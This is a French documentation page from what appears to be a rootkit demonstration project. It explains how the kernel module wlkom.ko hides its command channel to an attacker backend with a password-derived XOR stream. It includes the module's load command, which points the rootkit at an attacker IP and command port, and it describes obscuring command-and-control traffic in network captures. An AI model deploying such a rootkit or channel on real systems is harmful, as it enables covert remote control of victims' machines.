Aller au contenu principal

Chiffrement du canal WLKOM

Le canal TCP entre wlkom.ko et le backend attaquant est chiffré dès le premier octet. En pratique, ce n'est pas un chiffrement moderne comme TLS ou AES: c'est un XOR de flux avec une clé de 16 octets dérivée du mot de passe par FNV-1a 64-bit.

Le but du projet est de masquer les commandes dans une capture réseau et de montrer une synchronisation kernel/backend/frontend. Ce mécanisme ne fournit pas d'authentification forte, pas de nonce, pas d'intégrité et pas de protection sérieuse contre un attaquant actif.

Résumé rapide

mot de passe -> hash FNV-1a 64-bit -> clé de 16 octets -> XOR sur chaque octet TCP

À retenir:

  • le mot de passe ne part jamais en clair sur le canal kernel
  • la même fonction XOR chiffre et déchiffre
  • la clé est fixe pendant une socket
  • les offsets tx_offset et rx_offset avancent à chaque octet
  • une erreur d'un octet dans l'offset rend la suite illisible.

À ne pas oublier: ce mécanisme existe pour le projet et la démonstration réseau. Il n'apporte pas les garanties d'un vrai protocole sécurisé.

Vidéo externe

Cette vidéo explique le principe central utilisé par WLKOM: le chiffrement par XOR symétrique. Elle ne parle pas de notre code ni de FNV-1a, mais elle couvre l'idée importante: appliquer XOR avec une clé pour chiffrer, puis réappliquer XOR avec la même clé pour retrouver le texte clair.

Lien direct: Symmetric Key Cryptography: The XOR Cipher.

Documentation externe

Schéma global

Fichiers concernés

FichierRôle
rootkit/src/core/main.cvérifie le mot de passe et appelle la dérivation de clé au chargement
rootkit/src/core/module_parameters.cdéclare le paramètre password du module
rootkit/src/crypto/xor_stream.cdérive la clé FNV-1a et applique le XOR de flux
rootkit/src/network/socket_io.cchiffre les envois, déchiffre les réceptions et incrémente les offsets kernel
rootkit/src/network/protocol.cenvoie la bannière, lit le mot de passe et lance la session authentifiée
rootkit/src/network/connection.cremet les offsets à zéro à chaque nouvelle socket
rootkit/include/wlkom_config.hdéfinit WLKOM_CRYPTO_KEY_LEN = 16
attacking_program/backend/rootkit/crypto.pyreproduit exactement la dérivation et le XOR côté Python
attacking_program/backend/rootkit/controller.pyinitialise CryptoState, fait le handshake et expose l'état crypto
attacking_program/backend/rootkit/transport.pyenvoie/reçoit les octets chiffrés et incrémente les offsets backend
attacking_program/frontend/src/crypto.jsreproduit l'algorithme côté navigateur pour la vue Decrypt
attacking_program/frontend/src/components/DecryptView.jsxpermet de coller un flux Wireshark et de tester mot de passe + offset

Dérivation de clé

Le module part du mot de passe donné au chargement:

sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'

Le code calcule un hash FNV-1a 64-bit:

hash = 0xcbf29ce484222325

pour chaque octet du mot de passe:
hash = hash ^ octet
hash = hash * 0x100000001b3
hash = hash garde sur 64 bits

Ensuite, le hash est découpé en octets pour remplir une clé de 16 octets:

key[i] = (hash >> ((i % 8) * 8)) & 0xff

Comme i % 8 revient au début après 8 octets, les 8 octets du hash sont répétés deux fois.

Avec secret, on obtient:

hash = 0xab23f0eec020c951
key = 51 c9 20 c0 ee f0 23 ab 51 c9 20 c0 ee f0 23 ab

XOR octet par octet

XOR est une opération binaire. Sa propriété utile ici est:

(clair ^ clé) ^ clé = clair

Donc le même calcul sert dans les deux sens:

octet_chiffre = octet_clair ^ octet_cle
octet_clair = octet_chiffre ^ octet_cle

Exemple avec la commande id\n:

PositionClairHex clairCléCalculHex chiffré
0i695169 ^ 5138
1d64c964 ^ c9ad
2\n0a200a ^ 202a

Sur le réseau, Wireshark voit:

38 ad 2a

Pour relire, on refait exactement le même calcul:

PositionChiffréCléCalculClair
0385138 ^ 5169
1adc9ad ^ c964
22a202a ^ 200a

Le résultat redevient:

69 64 0a = id\n

Pourquoi les offsets existent

La clé fait seulement 16 octets, donc elle est utilisée en boucle:

key[(offset + i) % 16]

offset représente la position courante dans le flux. Il ne revient pas à zéro entre deux messages d'une même socket.

Exemple: si le backend a déjà envoyé secret\n, il a consommé 7 octets côté TX. La commande suivante id\n ne commence donc pas avec key[0], mais avec key[7]:

hex clair 69 64 0a
clé utilisée ab 51 c9
hex chiffré c2 35 c3

Sans offset, chaque message recommencerait au début de la clé. Le problème est que TCP ne garde pas forcément les mêmes découpages que le programme: un send peut être reçu en plusieurs recv, ou plusieurs petits messages peuvent arriver ensemble. L'offset permet de traiter la socket comme un seul flux continu.

Image mentale simple: TCP est un long ruban d'octets. Nous, dans le code, on pense "bannière", "mot de passe", "commande", "réponse". Le réseau, lui, ne promet pas de garder ces frontières. L'offset sert à savoir où on en est sur le ruban.

Exemple concret: le module peut envoyer Authenticated.\n, puis wlkom> . Le backend peut recevoir les deux d'un coup, ou recevoir seulement la moitié de la première chaîne. Le backend garde donc les octets déjà lus dans _rx_buffer et continue le XOR au bon offset.

Deux offsets séparés

Il y a deux directions indépendantes:

OffsetSens côté backendSens côté module
tx_offsetbackend vers moduleréception module
rx_offsetmodule vers backendémission module

Les deux sens ne consomment pas le même nombre d'octets. Par exemple, au handshake:

Si on mélange TX et RX, le déchiffrement part avec le mauvais offset et produit du texte illisible.

Exemple complet de début de session

Avec secret, la bannière envoyée par le module commence à l'offset 0 côté émission kernel:

clair = KOZACITEAM \nPassword:

Le backend doit créer CryptoState(secret) avant de lire cette bannière. Sinon il ne peut même pas reconnaître le texte Password:.

Ensuite, quand le backend envoie le mot de passe:

clair = secret\n
hex = 73 65 63 72 65 74 0a
chiffré = 22 ac 43 b2 8b 84 29

Après ces 7 octets, son tx_offset vaut 7.

Utiliser la vue Decrypt

Dans le dashboard, la vue Decrypt sert à tester une capture réseau:

  1. choisir le format des octets collés: hex, base64 ou texte brut
  2. entrer le mot de passe du module
  3. choisir le sens du flux
  4. utiliser l'offset automatique si la session backend est active, ou un offset manuel si la capture commence ailleurs
  5. lire la sortie texte et le hex de sortie.

Pour l'exemple minimal:

mot de passe = secret
format = hex
offset = manuel 0
entrée = 38 ad 2a
sortie = id\n

Si la sortie ressemble à du bruit, vérifier dans cet ordre:

  • mauvais mot de passe
  • mauvais sens de flux
  • mauvais offset
  • capture commencée au milieu d'un flux
  • socket reconnectée, donc offsets remis à zéro côté kernel et backend.

Limites de sécurité

Ce mécanisme est volontairement léger et court à implémenter dans un module kernel. Il masque le texte dans une capture simple, mais il ne remplace pas TLS.

Limites importantes:

  • FNV-1a n'est pas un hash cryptographique
  • XOR avec clé répétée est faible si beaucoup de trafic est connu
  • il n'y a pas de MAC ou signature pour détecter une modification active
  • il n'y a pas de nonce ni de clé différente par session
  • le fingerprint affiché par le dashboard sert seulement au diagnostic.

Pour un vrai canal sécurisé, il faudrait utiliser un protocole éprouvé avec authentification, intégrité et renouvellement de clés.